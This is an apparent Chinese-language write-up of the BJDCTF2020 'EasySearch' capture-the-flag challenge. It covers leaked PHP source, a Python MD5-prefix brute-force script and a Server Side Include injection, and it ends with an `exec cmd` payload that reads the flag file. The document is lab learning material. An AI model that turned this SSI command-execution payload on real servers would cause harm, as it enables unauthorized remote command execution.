[BJDCTF2020]EasySearch
buu靶机爆破不了,会429,调慢速度我不想等,一般这个时候如果我搞不出,就会直接放弃去看wp
看到是index.php.swp
点击查看代码
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
// }
// $s=get_hash();
// echo $s;
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";//$file_shtml=public/482483c7609c0d261631941dbcf013aa2e6d26d3.shtml
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
点击查看代码
import hashlib
for i in range(1,100000000000):
s = hashlib.md5(str(i).encode("utf-8")).hexdigest()[0:6]
if s == "6d0bc1":
print(i)
break

进去后可以看到一个url这个就是
$file_shtml = "public/".get_hash().".shtml";//$file_shtml=public/482483c7609c0d261631941dbcf013aa2e6d26d3.shtml
这句代码拼出来的,访问一下

这时候就完全不会了
查了查,发现是个不会的知识点
https://www.cnblogs.com/yuzly/p/11226439.html
学!
总结一下当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用语法执行命令。
注意关键后缀名
默认扩展名是 .stm、.shtm 和 .shtml。
那我们可以控制username进入text
就在这里命令执行
最终payload
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->


浙公网安备 33010602011771号